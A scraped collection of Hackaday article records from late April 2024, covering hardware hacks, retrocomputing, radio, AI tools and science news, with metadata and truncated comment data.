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https://hackaday.com/2024/04/29/var-is-ruining-football-and-tech-is-ruining-sport/ | VAR Is Ruining Football, And Tech Is Ruining Sport | Lewin Day | [
"Current Events",
"Featured",
"Original Art",
"Slider"
] | [
"assessment",
"football",
"technology",
"var"
] | The symbol of all that is wrong with football.
Another week in football, another VAR controversy to fill the column inches and rile up the fans. If you missed it, Coventry scored a
last-minute winner
in extra time in a crucial match—an FA Cup semi-final. Only, oh wait—computer says no. VAR ruled Haji Wright was offside, and the goal was disallowed. Coventry fans screamed that the system got it wrong, but no matter. Man United went on to win and dreams were forever dashed.
Systems like the Video Assistant Referee were brought in to make sport fairer, with the aim that they would improve the product and leave fans and competitors better off. And yet, years later, with all this technology, we find ourselves up in arms more than ever.
It’s my sincere belief that technology is killing sport, and the old ways were better. Here’s why.
The Old Days
Moments like these came down to the people on the pitch. Credit:
Sdo216
, CC BY-SA 3.0
For hundreds of years, we adjudicated sports the same way. The relevant authority nominated some number of umpires or referees to control the game. The head referee was the judge, jury, and executioner as far as rules were concerned. Players played to the whistle, and a referee’s decision was final. Whatever happened, happened, and the game went on.
It was not a perfect system. Humans make mistakes. Referees would make bad calls. But at the end of the day, when the whistle blew, the referee’s decision carried the day. There was no protesting it—you had to suck it up and move on.
This worked fine until the advent of a modern evil—the instant replay. Suddenly, stadiums were full of TV cameras that captured the play from all angles. Now and then, it would become obvious that a referee had made a mistake, with television stations broadcasting incontrovertible evidence to thousands of viewers across the land. A ball at Wimbledon was in, not out. A striker was on side prior to scoring. Fans started to groan and grumble. This wasn’t good enough!
And yet, the system hung strong. As much as it pained the fans to see a referee screw over their favored team, there was nothing to be done. The referee’s call was still final. Nobody could protest or overrule the call. The decision was made, the whistle was blown. The game rolled on.
Then somebody had a bright idea. Why don’t we use these cameras and all this video footage, and use it to double check the referee’s work? Then, there’ll never be a problem—any questionable decision can be reviewed outside of the heat of the moment. There’ll never be a bad call again!
Oh, what a beautiful solution it seemed. And it ruined everything.
The Villain, VAR
The assistant video assistant referees are charged with monitoring various aspects of the game and reporting to the Video Assistant Referee (VAR). The VAR then reports to the referee on the ground, who may overturn a decision, hold firm, or look at the footage themself on a pitchside display. Credit:
Niko4it, CC BY-SA 4.0
Enter the Video Assistant Referee (VAR). The system was supposed to bring fairness and accuracy to a game fraught with human error. The Video Assistant Referee was an official that would help guide the primary referee’s judgement based on available video evidence. They would be fed information from a cadre of Assistant Video Assistant Referees (AVARs) who sat in the stadium behind screens, reviewing the game from all angles. No, I didn’t make that second acronym up.
It was considered a technological marvel. So many cameras, so many views, so much slow-mo to pour over. The assembed VAR team would look into everything from fouls to offside calls. The information would be fed to the main referee on the pitch, and they could refer to a pitchside video replay screen if they needed to see things with their own eyes.
A VAR screen mounted on the pitch for the main referee to review as needed. Credit:
Carlos Figueroa
,
CC BY-SA 4.0
The key was that VAR was to be an assistive tool. It was to guide the primary referee, who still had the final call at the end of the day.
You’d be forgiven for thinking that giving a referee more information to do their job would be a good thing. Instead, the system has become a curse word in the mouths of fans, and a scourge on football’s good name.
From its introduction, VAR began to pervert the game of football. Fans were soon decrying the system’s failures, as
entire championships fell the wrong way
due to unreliability in VAR systems. Assistant referees were told to hold their offside calls to let the video regime take over. Players were quickly chided for demanding video reviews time and again. New rules would see yellow cards issued for players desperately making “TV screen” gestures
in an attempt to see a rivals goal overturned
. Their focus wasn’t on the game, but on gaming the system in charge of it.
Fans and players are so often stuck waiting for the penny to drop that celebrations lose any momentum they might have had. Credit: Rlwjones,
CC BY-SA 4.0
VAR achieves one thing with brutal technological efficiency: it sucks the life out of the game. The spontaneity of celebrating a goal is gone. Forget running to the stands, embracing team mates, and punching the air in sweet elation. Instead, so many goals now lead to minute-long reviews while the referee consults with those behind the video screens and reviews the footage. Fans sit in a stunted silence, sitting in the dreaded drawn-out suspense of “goal” or “no goal.”
The immediacy and raw emotion of the game has been shredded to pieces. Instead of jumping in joy, fans and players sit waiting for a verdict from an unseen, remote official. The communal experience of instant joy or despair is muted by the system’s mere presence. What was once a straightforward game now feels like a courtroom drama where every play can be contested and overanalyzed.
It’s not just football where this is a problem, either. Professional cricket is now weighed down with microphone systems to listen out for the slightest snick of bat on ball. Tennis, weighed down by radar reviews of line calls. The interruptions never cease—because it’s in every player’s interest to whip out the measuring tape whenever it would screw over their rival. The more technology, the more reviews are made, and the further we get from playing out the game we all came to see.
Making Things Right
Enough of this nonsense! Blow the whistle and move on. Credit:
SounderBruce
,
CC BY-SA 4.0
With so much footage to review, and so many layers of referees involved, VAR can only slow football down. There’s no point trying to make it faster or trying to make it better. The correct call is to scrap it entirely.
As it stands, good games of football are being regularly interrupted by frustrating video checks. Even better games are being ruined when the VAR system fails or a bad call still slips through. Moments of jubilant celebration are all too often brought to naught when someone’s shoelace was thought to be a whisker’s hair ahead of someone’s pinky toe in a crucial moment of the game.
Yes, bad calls will happen. Yes, these will frustrate the fans. But they will frustrate them far less than the current way of doing things. It’s my experience that fans get over a bad call far faster when it’s one ref and and a whistle. When it’s four referees, sixteen camera angles, and a bunch of lines on the video screen? They’ll rage for days that this mountain of evidence suggests their team was ripped off. They won’t get over it. They’ll moan about it for years.
Let the referees make the calls. Refereeing is an art form. A good referee understands the flow of the game, and knows when to let the game breathe versus when to assert control. This subtle art is being lost to the halting interruptions of the video inspection brigade.
Football was better before. They were fools to think they could improve it by measuring it to the nth degree. Scrap VAR, scrap the interruptions. Put it back on the referees on the pitch, and let the game flow. | 84 | 41 | [
{
"comment_id": "6754421",
"author": "Ostracus",
"timestamp": "2024-04-29T14:06:58",
"content": "“Always right”+”$$$”==where we are.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6754428",
"author": "Ewald",
"timestamp": "2024-04-29T14:18:26",
"co... | 1,760,371,933.185134 | ||
https://hackaday.com/2024/04/29/farewell-mfj/ | Farewell MFJ | Al Williams | [
"News"
] | [
"ham radio",
"mfj"
] | We were sad to hear that after 52 years in operation, iconic ham radio supplier MFJ will close next month. On the one hand, it is hard not to hear such news and think that it is another sign that ham radio isn’t in a healthy space. After all, in an ideal world, [Martin Jue] — the well-known founder of MFJ — would have found an anxious buyer. Not only is the MFJ line of ham radio gear well regarded, but [Martin] had bought other ham radio-related companies over the years, such as Ameritron, Hygain, Cushcraft, Mirage, and Vectronics. Now, they will all be gone, too.
However, on a deeper reflection, maybe we shouldn’t see it as another nail in ham radio’s coffin. It is this way in every industry. There was a time when it was hard to imagine ham radio without, say, Heathkit. Yet they left, and the hobby continued. We could name a slew of other iconic companies that had their day: Eico, Hammarlund, Hallicrafters, and more. They live on at hamfests, their product lines are frozen in time, and we’re sure we’ll see a used market for MFJ gear well into the next century.
Maybe you aren’t a ham and wonder why you would care. Turns out MFJ made things of interest to anyone who worked with RF transmitting or receiving. If you were a shortwave listener, they had antennas and related gear for you. They also made antenna analyzers and network analyzers that were very cost-effective compared to other options. If you wanted clean power supplies, MFJ had quite the selection of those. They even had a great selection of variable capacitors and inductors, which are tough to find in small quantities. You could even get air-wound coil stock, knobs, meters, and toroids.
Sure, most of what they sold was things only hams or other radio operators wanted—that was the nature of the company. But their loss will be felt by more than just the ham community. Someone, of course, will step into the void as they always do.
So farewell MFJ. We will miss you, but we look forward to meeting your replacement, whoever that might be. While you can spend a lot of money on ham radio, you
can get started for $50 or less
. Oddly, we haven’t directly featured much MFJ gear on Hackaday over the years, but we have
mentioned a few
. | 35 | 18 | [
{
"comment_id": "6754362",
"author": "CJay",
"timestamp": "2024-04-29T11:27:49",
"content": "Back in the days when Heahtkit shut down there were a lot of competitors to fill the gap left.MFJ occupy a larger space with a wider range of goodies so their closure will leave ahugegap in the market and I’... | 1,760,371,932.784993 | ||
https://hackaday.com/2024/04/29/diy-passive-radar-system-verifies-ads-b-transmissions/ | DIY Passive Radar System Verifies ADS-B Transmissions | Bryan Cockfield | [
"Radio Hacks"
] | [
"ads-b",
"aircraft",
"antenna",
"passive radar",
"radar",
"radio",
"reference",
"sdr",
"software-defined radio",
"yagi"
] | Like most waves in the electromagnetic spectrum, radio waves tend to bounce off of various objects. This can be frustrating to anyone trying to use something like a GMRS or LoRa radio in a dense city, for example, but these reflections can also be exploited for productive use as well, most famously by radar. Radar has plenty of applications such as weather forecasting and various military uses. With some software-defined radio tools, it’s also possible to use radar for
tracking aircraft in real-time at home like this DIY radar system
.
Unlike active radar systems which use a specific radio source to look for reflections, this system is a passive radar system that uses radio waves already present in the environment to track objects. A reference antenna is used to listen to the target frequency, and in this installation, a nine-element Yagi antenna is configured to listen for reflections. The radio waves that each antenna hears are sent through a computer program that compares the two to identify the reflections of the reference radio signal heard by the Yagi.
Even though a system like this doesn’t include any high-powered active elements, it still takes a considerable chunk of computing resources and some skill to identify the data presented by the software. [Nathan] aka [30hours] gives a fairly thorough overview of the system which can even recognize helicopters from other types of aircraft, and also uses the ADS-B monitoring system as a sanity check. Radar can be used to monitor other vehicles as well, like
this 24 GHz radar module
found in some modern passenger vehicles. | 5 | 2 | [
{
"comment_id": "6754490",
"author": "alialiali",
"timestamp": "2024-04-29T16:38:56",
"content": "multilaterization is also pretty cool (MLAT) as used to track aircraft that doesn’t report location to supplement ADS-Bhttps://skybrary.aero/articles/multilateration",
"parent_id": null,
"depth"... | 1,760,371,933.057791 | ||
https://hackaday.com/2024/04/28/ai-can-now-compress-text/ | AI Can Now Compress Text | Jenny List | [
"Artificial Intelligence"
] | [
"llama",
"text compression"
] | There are many claims in the air about the capabilities of AI systems, as the technology continues to ascend the dizzy heights of the hype cycle. Some of them are true, others stretch definitions a little, while yet more cross the line into the definitely bogus. [J] has one that is backed up by real code though,
a compression scheme for text using an AI
, and while there may be limitations in its approach, it demonstrates an interesting feature of large language models.
The compression works by assuming that for a sufficiently large model, it’s likely that many source texts will exist somewhere in the training. Using llama.cpp it’s possible to extract the tokenization information of a piece of text contained in its training data and store that as the compressed output. The decompressor can then use that tokenization data as a series of keys to reassemble the original from its training. We’re not AI experts but we are guessing that a source text which has little in common with any training text would fare badly, and we expect that the same model would have to be used on both compression and decompression. It remains a worthy technique though, and no doubt because it has AI pixie dust, somewhere there’s a hype-blinded venture capitalist who would pay millions for it. What a world we live in!
Oddly
this isn’t the first time we’ve looked at AI text compression
. | 42 | 21 | [
{
"comment_id": "6754282",
"author": "elwing",
"timestamp": "2024-04-29T05:08:51",
"content": "so big surprise, you can compress text more than using plain usual compression using AI, assuming you have some Gb free for a model that most likely needs to exist on both end? am I missing something there... | 1,760,371,933.314763 | ||
https://hackaday.com/2024/04/28/hack-in-style-with-this-fallout-cyberdeck/ | Hack In Style With This Fallout Cyberdeck | Julian Scheffers | [
"Cyberdecks"
] | [
"cyberdeck",
"Fallout",
"raspberry pi",
"Teensy"
] | There’s always an appeal to a cool-looking computer case or cyberdeck – and with authentic-looking Vault-Tec style, [Eric B] and [kc9psw]’s
fallout-themed cyberdeck
is no exception.
The case looks like it came straight out of one of the Fallout games and acts the part: while (obviously) not capable of withstanding a direct nuclear bomb impact, it can protect the sensitive electronics inside from the electromagnetic pulse and shockwave that follows – if you keep it closed.
And it’s not just the case that’s cool: This cyberdeck is packed full of goodies like long-range radios, SDRs, ADSB receivers, a Teensy 4.1, and
dual
Raspberry Pis. But that’s just the hardware! It also comes with gigabytes upon gigabytes of Wikipedia, Wikihow, TED talks, and other information/entertainment, for the less eventful days in the wastelands.
If you, too, would like to have one, fret not! The
parts list
and
design files
are public, even though some assembly is required. | 15 | 10 | [
{
"comment_id": "6754312",
"author": "tyt56t7iu",
"timestamp": "2024-04-29T07:46:13",
"content": "looks ok, but how long this dev work?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6754322",
"author": "pe7er",
"timestamp": "2024-04-29T08:26:19",
... | 1,760,371,933.362261 | ||
https://hackaday.com/2024/04/28/hackaday-links-april-28-2024/ | Hackaday Links: April 28, 2024 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links",
"Slider"
] | [
"hackaday links"
] | Well, it’s official — AI is ruining everything. That’s not exactly news, but learning that
LLMs are apparently being used to write scientific papers
is a bit alarming, and Andrew Gray, a librarian at University College London, has the receipts. He looked at a cross-section of scholarly papers from 2023 in search of certain words known to show up more often in LLM-generated text, like “commendable”, “intricate”, or “meticulous”. Most of the words seem to have a generally positive tone and feel a little fancier than everyday speech; one rarely uses “lucidly” or “noteworthy” unless you’re trying to sound smart, after all. He found increases in the frequency of appearance of these and other keywords in 2023 compared to 2022, when ChatGPT wasn’t widely available.
It doesn’t always take a statistical analysis of word distributions to detect the footprints of an LLM, though. The article includes examples of text copied and pasted directly from the chatbot, without any attempt at editing or even basic proofreading. How not only the authors of the papers but also the journal editors and reviewers managed not to pick up an obvious chatbot error message that had been copy-pasted is hard to imagine. And let’s not even get started on the Midjourney-generated diagram of a monstrously well-endowed rat that was used to illustrate an article (
since retracted
) on spermatogenesis, complete with nonsensical captions and callouts to non-existent body parts. This is why we can’t have nice things.
Speaking of nice things, did you know that the largest manufacturer of vintage lamps in history is a little company called “Underwriter’s Laboratory”? At least it seems that way
looking at eBay
, where sellers listing old lamps often claim the manufacturer is the storied safety standards organization. We suppose it makes sense if the only label on an old lamp is the UL listing label and you had no idea what UL is. But really, that’s the least of the problems with some of these listings. “Vintage” is a stretch for
a green banker’s lamp
with a polarized plug that was clearly made sometime in the last 30 years.
Switching gears a bit, it’s one thing to know that everything you do online is tracked, but it’s quite another thing to find out exactly how much information is shooting back and forth between your computer and the Hive Mind. That’s what Bert Hubert built
Tracker Beeper
to do, and it’s a little terrifying. The tool emits a short beep every time your computer sends off a bit of data to a tracker. It started just monitoring data going to Google, which was alarming enough. The tool was later modified to include most of the trackers we’re likely to come across in our daily travels, and wow! It sounds like a Geiger counter when the tube gets saturated by a highly active source. Probably just as dangerous, too.
Heads up —
the HOPE conference is gearing up
. Hackers on Planet Earth XV will be held July 12-14 on the campus of St. John’s University in Queens, New York. The “Call for Participation” is now open; it’s always nice to see a big Hackaday contingent at HOPE, so make sure you get your proposals for talks, workshops, or panels together soon.
And finally,
what should you do if the FCC comes knocking at your door?
It’s not just an academic question; the US Federal Communications Commission does a lot of field investigation, and if you do any kind of RF experimentation, there’s a non-zero chance that you’ll make some kind of spurious emission that gets their attention. Josh from Ham Radio Crash Course dropped a video that addresses the dreaded knock. TL;DW — come back with a warrant. But it’s more complicated than that, as illustrated by a hilarious IRL account of one such encounter. We won’t spoil the surprise, but suffice it to say that if your house is under the approach to a major international airport, you probably want to be extra careful with anything radio-related. | 24 | 8 | [
{
"comment_id": "6754216",
"author": "irox",
"timestamp": "2024-04-28T23:21:45",
"content": "“learning that LLMs are apparently being used to write scientific papers is a bit alarming”I am alarmed that you find it alarming! :)I worry that if you’re not using an LLM to word your paper you will be at ... | 1,760,371,933.021261 | ||
https://hackaday.com/2024/04/28/you-can-run-basic-on-an-old-hp-4592-protocol-analyzer/ | You Can Run BASIC On An Old HP 4592 Protocol Analyzer | Lewin Day | [
"Retrocomputing"
] | [
"basic",
"HP",
"protocol analyzer"
] | What do you do when you find an ancient piece of test gear and want to have fun? Well, you can always try getting BASIC running on it, and
that’s precisely what [David Kuder] did.
The HP4952A Protocol Analyzer actually looks a lot like an old computer, even if it was never meant for general-purpose use. The heart of the machine is a Zilog Z80 CPU, though, so it shares a lot in common with microcomputers of its era.
Among other hacks, [David] worked to get Microsoft Basic-80 running on the machine. Initially, he was only able to get it up and running on the display, with no way to read the keyboard, disk, or access the serial port. Eventually, by diving into the nitty-gritty of the machine, he was able to at least get the keyboard working along with some basic BASIC programs. Usable memory is just 8KB, but you can do a fair bit with that when you’ve only got a 32×16 display for output anyway!
It’s a neat hack and one that was extendable to the HP4957A as well. We’ve seen similar machines
on these pages before, too!
If you’ve got your own neat retro hacks on the boil, don’t hesitate to
drop us a line!
[Thanks to Christopher Zell for the tip!] | 10 | 3 | [
{
"comment_id": "6754179",
"author": "Sohere",
"timestamp": "2024-04-28T20:51:38",
"content": "Forth would probably work better than basic on this memory constrained platform.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6754278",
"author": "Joshua... | 1,760,371,932.829651 | ||
https://hackaday.com/2024/04/28/corral-some-zippy-blue-flames-into-3d-printed-troughs/ | Corral Some Zippy Blue Flames Into 3D Printed Troughs | Donald Papp | [
"Science"
] | [
"3d printed",
"combustion",
"flame",
"moving flame"
] | [Steve Mould] came across an interesting little phenomenon of blue flames zipping around a circular track. This led to diving down a bit of a rabbit hole about excitable mediums, ultimately leading him to optimize the shapes and come up with some pretty wild variations
which he shows off in a video
(also embedded below.)
After figuring out that the moving flame depended on combustion of fuel vapor in an environment that didn’t allow for the whole surface to stay lit at once, [Steve] tried to optimize the design of 3d-printed channels and raceways to encourage this effect, and he came up with some pretty novel ones. The
3D models are here
if you’d like to try them for yourself (we especially like the “figure eight” and “rays” models.)
The video is an excellent show & tell of everything [Steve] dove into, complete with plenty of demonstrations of harnessing this effect to create some nifty running flames. Check it out in the video below, and if unintuitive physical effects are your thing, don’t miss [Steve]’s peeling apart of
the turntable paradox
. | 20 | 6 | [
{
"comment_id": "6754162",
"author": "Kelly",
"timestamp": "2024-04-28T19:18:02",
"content": "Is that ever neat, using a flame front for delays and oscillators. Should try add a polarized HV electrode and see what that does. Flame detectors rely on the rectification properties of a flame. A moving d... | 1,760,371,933.239408 | ||
https://hackaday.com/2024/04/28/boneblocker-is-a-big-led-wall-that-rocks/ | Boneblocker Is A Big LED Wall That Rocks | Lewin Day | [
"LED Hacks"
] | [
"led",
"LED wall",
"WLED",
"ws2812b"
] | [Nick Lombardy] took on a job almost every maker imagines themselves doing at some point. He built a giant LED wall and he did a damn fine job of it, too.
Introducing BoneBlocker.
BoneBlocker is an 8 x 14 wall of glass blocks that lives at a bar called The Boneyard. Each block was given a length of WS2812B LED strip. 30 LED/meter strips were chosen, as initial maths on the 60 LED/meter strips indicated the whole wall would end up drawing 1.5 kW. Discretion, and all that.
The glowing game controller.
The whole display is run from a WT32-ETH01 board, which is a fast ESP32-based module that has onboard Ethernet to boot. [Nick] used the WLED library as he’d seen others doing great things with it, performance-wise. He ended up using one board per column to keep things fast, but he reckons this was also probably a little bit of overkill.
His article steps through the construction of the wall, the electronics, and the software required to get some games working on the display. The final result is quite something. Perhaps the best bit is his explanation of the custom controller he built for the game. Dig into it, you won’t be disappointed.
In particular, we love how the glass blocks elevate this display to a higher aesthetic level.
We’ve seen other great projects tread this same route, too.
Video after the break. | 3 | 2 | [
{
"comment_id": "6754123",
"author": "Lewis Armistead",
"timestamp": "2024-04-28T16:46:28",
"content": "That’s great this got a write up. Iv played the game on the wall and it rules",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6754136",
"author": "carl",... | 1,760,371,932.964212 | ||
https://hackaday.com/2024/04/28/the-z80-is-dead-long-live-the-free-z80/ | The Z80 Is Dead. Long Live The Free Z80! | Jenny List | [
"Parts"
] | [
"ASIC",
"tinytapeout",
"z80"
] | It’s with a tinge of sadness that we and many others reported on the recent move by Zilog to end-of-life the original Z80 8-bit microprocessor. This was the part that gave so many engineers and programmers their first introduction to a computer of their own. Even though now outdated its presence has been a constant over the decades. Zilog will continue to sell a Z80 derivative in the form of their eZ80, but that’s not the only place the core can be found on silicon. [Rejunity]
is bringing us an open-source z80 core on real hardware
, thanks of course to the TinyTapeout ASIC project. The classic core
will occupy two tiles on the upcoming TinyTapeout 7
. While perhaps it’s not quite the same as a real 40-pin DIP in your hands, like all of the open-source custom silicon world, it’s as yet early days.
The core in question is derived from
the TV80 open-source core
, which we would be very interested to compare when fabricated at TinyTapeout’s 130nm process with an original chip from a much larger 1970s process. While It’s true that this project is more of an interesting demonstration of TinyTapeout than a practical everyday Z80, it does at least serve as a reminder that there may be a future point in which a run of open-source real Z80s or other chips might become possible.
This
isn’t the first time we’ve featured a TinyTapeout project. | 28 | 7 | [
{
"comment_id": "6754072",
"author": "Phil Ashby",
"timestamp": "2024-04-28T11:42:38",
"content": "So pleased to see that someone tried this and it fits! :)",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6754253",
"author": "hjf",
"timestamp"... | 1,760,371,933.421303 | ||
https://hackaday.com/2024/04/28/train-a-gpt-2-llm-using-only-pure-c-code/ | Train A GPT-2 LLM, Using Only Pure C Code | Donald Papp | [
"Artificial Intelligence",
"Machine Learning",
"Software Development"
] | [
"ai",
"GPT",
"GPT-2",
"LLM"
] | [Andrej Karpathy] recently released
llm.c
, a project that focuses on LLM training in pure C, once again showing that working with these tools isn’t necessarily reliant on sprawling development environments. GPT-2 may be older but is perfectly relevant, being the granddaddy of modern LLMs (large language models) with a clear heritage to more modern offerings.
LLMs are fantastically good at communicating despite not actually knowing what they are saying, and training them usually relies on PyTorch deep learning library, itself written in Python.
llm.c
takes a simpler approach by implementing the neural network training algorithm for GPT-2 directly. The result is highly focused and surprisingly short: about a thousand lines of C in a single file. It is a highly elegant process that does the same thing the bigger, clunkier methods accomplish. It can run entirely on a CPU, or it can take advantage of GPU acceleration, where available.
This isn’t the first time [Andrej Karpathy] has bent his considerable skills and understanding towards boiling down these sorts of concepts into bare-bones implementations. We previously covered a project of his that is
the “hello world” of GPT
, a tiny model that predicts the next bit in a given sequence and offers low-level insight into just how GPT (generative pre-trained transformer) models work. | 7 | 4 | [
{
"comment_id": "6754067",
"author": "Reluctant Cannibal",
"timestamp": "2024-04-28T10:31:02",
"content": "Nice work, with plenty of documentation on training. Often these people focus too much on the tricky tech stuff when what I want to start with is ‘What does it do?’ ie deployment. I can see som... | 1,760,371,933.460382 | ||
https://hackaday.com/2024/04/27/pi-pico-gets-a-zx-spectrum-emulator/ | Pi Pico Gets A ZX Spectrum Emulator | Lewin Day | [
"Retrocomputing"
] | [
"emulator",
"pi pico",
"ZX Spectrum"
] | The Pi Pico is a capable microcontroller that can do all kinds of fun and/or useful things. In the former vein,
[antirez] has ported a ZX Spectrum emulator to the Pi Pico.
ZX2040, as it is known, is a port of [Andre Weissflog’s] existing ZX spectrum emulator. It’s designed for use on the compact embedded Pi Pico platform, using ST77xx TFT displays. To that end, it has a UI optimized for small, low resolution screens and minimal buttons. After all, very few Pi Picos come with a full QWERTY keyboard attached.
Certain hacks are necessary to make it all work; the chip is overclocked to get things humming fast enough. The emulator also runs upscaling or downscaling in realtime as needed. This allows the emulator to run with a variety of displays, almost none of which are a direct match for the ZX Spectrum’s original resolution of 256×192 pixels.
Code is
on Github
for the curious, including a great run down from [antirez] on everything that makes it tick. If you want to play ZX Spectrum games on a keychain, you’d do well to start here.
There are other projects to emulate it on the Pico, too!
Video after the break. | 9 | 7 | [
{
"comment_id": "6754076",
"author": "Larry Bank",
"timestamp": "2024-04-28T12:07:38",
"content": "Now that it works, it’s time to optimize the code and clean up the upscaler to look less blocky. @antirez can ping me when he’s ready.",
"parent_id": null,
"depth": 1,
"replies": []
},
... | 1,760,371,933.794835 | ||
https://hackaday.com/2024/04/27/wine-in-beverage-cans-had-a-rotten-egg-problem-until-now/ | Wine In Beverage Cans Had A Rotten Egg Problem, Until Now | Donald Papp | [
"chemistry hacks",
"Science"
] | [
"aluminum can",
"beverage can",
"rotten egg",
"wine",
"winemaking"
] | Aluminum beverage cans are used for all kinds of drinks, but when it comes to wine there are some glitches. Chief among them is the fact that canned wine occasionally smelled like rotten eggs. Thankfully,
researchers have figured out why that happens, and how to stop it
. How was this determined? As the image above hints at, lots and lots of samples and testing.
What causes this, and why don’t other beverages have this problem? Testing revealed that the single most important factor was the presence of molecular sulfur dioxide (SO
2
), a compound commonly used in winemaking as an antioxidant and antimicrobial.
It turns out that the thin plastic lining on the inside of beverage cans doesn’t fully stop molecular SO
2
from reacting with the surrounding aluminum, creating hydrogen sulfide (H
2
S) in the process. H
2
S has a
very
noticeable rotten egg smell, even in low concentrations.
Researchers discovered that if a canned beverage contained more than 0.5 ppm of molecular SO
2
, a noticeable increase in hydrogen sulfide was likely to be present within four to eight months. The problem is that since most wines aim for around 0.5 ppm of SO
2
, the average can on wine sitting on a shelf will have a problem sooner rather than later. The more SO
2
in the wine (reds tend to contain less, whites more), the worse the problem.
Simply increasing the thickness of the plastic liner is an imperfect solution since it increases manufacturing costs as well as waste. So, researchers believe the right move is to use a more durable liner formulation combined with a lower SO
2
concentration than winemakers are usually comfortable with. Unlike bottles, cans can be hermetically sealed which should offset the increased oxidation risk of using a lower concentration of SO
2
. The result should be wine as a canned beverage, with a shelf life of at least 8 months.
The research is published here
and gives a great look at just how one approaches this kind of scientific problem, as well as highlighting just how
interesting the humble aluminum beverage can really is
. | 70 | 9 | [
{
"comment_id": "6754019",
"author": "David Kindltot",
"timestamp": "2024-04-28T03:30:46",
"content": "Perhaps move away from SO2 as a sterilizant and go on to other compounds to stabilize the wine. Sulfites are used traditionally but there are other options open to prevent that reaction with the c... | 1,760,371,934.066065 | ||
https://hackaday.com/2024/04/27/rgb-led-hexaclock-doesnt-actually-light-up-the-night/ | RGB LED HexaClock Doesn’t Actually Light Up The Night | Kristina Panos | [
"clock hacks"
] | [
"clock",
"ESP8266",
"RGB LEDs",
"thicc wires"
] | Who says a clock can’t be both useful and beautiful? That seems to be the big idea behind
the lovely little HexaClock from [Bulduper].
And boy, is it both.
Probably the most important part of this well-illuminated clock is the light sensor, which allows it to adjust the brightness automatically. If you’re not into that, well, there’s a really nice web app that’ll let you program the dickens out of it.
The brains of this thing is an ESP8266 on a custom PCB which controls the 127 individually addressable RGB LEDs. The clock may look large, but the big printed parts just fit on the bed of a Prusa i3. [Bulduper] used ABS because the LED strip and the PCB might get a little warm; they didn’t want to risk using PLA and having it turn into a Salvador Dali clock (although that could be cool).
Speaking of heat, make sure to use 18 AWG or thicker wires as [Bulduper] advises. LEDs may be efficient, but this clock uses lots of them! If you want to build one of these to bathe your wall in useful light, everything you need is available on GitHub. Watch HexaClock do its thing in the brief demo and walk-through video after the break.
If this is a little too bright for your tastes,
check out this synesthesia clock. | 11 | 5 | [
{
"comment_id": "6754005",
"author": "paulvdh",
"timestamp": "2024-04-28T02:03:39",
"content": "That’s a nice clock.Small improvement, you put all the sections of LED strips in series (at 02:02 into the video). Long led strips tend to have a voltage drop due to the current to all the LED’s, and some... | 1,760,371,933.954501 | ||
https://hackaday.com/2024/04/25/synthesis-of-goldene-single-atom-layer-gold-with-interesting-properties/ | Synthesis Of Goldene: Single-Atom Layer Gold With Interesting Properties | Maya Posch | [
"Science"
] | [
"goldene",
"graphene",
"monolayer"
] | The synthesis of single-atom layer versions of a range of atoms is currently all the hype, with graphene probably the most well-known example of this. These monolayers are found to have a range of mechanical (e.g. hardness), electrical (conduction) and thermal properties that are very different from the other forms of these materials. The major difficulty in creating monolayers is finding a way that works reliably and which can scale. Now researchers have found a way to make monolayers of gold – called goldene – which allows for the synthesis of relatively large sheets of this two-dimensional structure.
In the
research paper
by [Shun Kashiwaya] and colleagues (with accompanying
press release
) as published in Nature Synthesis, the synthesis method is described. Unlike graphene synthesis, this does not involve Scotch tape and a stack of graphite, but rather the wet-etching of Ti
3
Cu
2
away from Ti
3
AuC
2
, after initially substituting the Si in Ti
3
SiC
2
with Au. At the end of this exfoliation procedure the monolayer Au is left, which electron microscope studies showed to be stable and intact. With goldene now relatively easy to produce in any well-equipped laboratory, its uses can be explored. As a rare metal monolayer, the same wet exfoliation method used for goldene synthesis might work for other metals as well. | 16 | 9 | [
{
"comment_id": "6753537",
"author": "Drone",
"timestamp": "2024-04-26T03:43:27",
"content": "Isn’t this done all the time? I think it is called Chemical Vapor Deposition (CVD).[1] Getting atom-scale deposition thickness is common.1. Chemical Vapor Deposition (CVD)https://en.wikipedia.org/wiki/Chemi... | 1,760,371,933.852422 | ||
https://hackaday.com/2024/04/25/combadge-project-wants-to-bring-trek-tech-to-life/ | Combadge Project Wants To BringTrekTech To Life | Tom Nardi | [
"Software Hacks",
"Wearable Hacks"
] | [
"communicator badge",
"home automation",
"star trek"
] | While there’s still something undeniably cool about the flip-open communicators used in the original
Star Trek
, the fact is, they don’t really look all that futuristic compared to modern mobile phones. But the upgraded “combadges” used in
Star Trek: The Next Generation
and its various large and small screen spin-offs — now that’s a tech we’re still trying to catch up to.
As it turns out, it might not be as far away as we thought. A company called Vocera actually put out a few models of WiFi “Communication Badges” in the early 2000s that were intended for hospital use, which these days can be had on eBay for as little as $25 USD. Unfortunately, they’re basically worthless without a proprietary back-end system. Or at least, that was the case
before the Combadge project got involved
.
Designed for folks who
really
want to start each conversation with a brisk tap on the chest, the primary project of Combadge is the
Spin Doctor server
, which is a drop-in replacement for the original software that controlled the Vocera badges. Or at least, that’s the goal. Right now not everything is working, but it’s at the point where you can connect multiple badges to a server, assign them users, and make calls between them.
It also features some early speech recognition capabilities, with transcriptions being generated for the voices picked up on each badge. Long-term, one of the goals is to be able to plug the output of this server into your home automation system. So you could tap your chest and ask the computer to turn on the front porch light, or as the documentation hopefully prophesies, start the coffee maker.
There hasn’t been much activity on the project in the last year or so, but perhaps that’s just because the right group of
rabid nerds
dedicated developers has yet to come onboard. Maybe the Hackaday community could lend a hand? After all, we know
how much you like talking to your electronics
. The hardware is cheap and the source is open, what more could you ask for? | 16 | 9 | [
{
"comment_id": "6753505",
"author": "rclark",
"timestamp": "2024-04-26T01:16:52",
"content": "“While there’s still something undeniably cool about the flip-open communicators used in the original Star Trek, the fact is, they don’t really look all that futuristic compared to modern mobile phones.”I ... | 1,760,371,933.904237 | ||
https://hackaday.com/2024/04/25/a-smart-power-distribution-unit-for-home-automation/ | A Smart Power Distribution Unit For Home Automation | Bryan Cockfield | [
"home hacks"
] | [
"ESP32",
"home automation",
"mqtt",
"node-red",
"pdu",
"power distribution unit",
"relay",
"server",
"server rack"
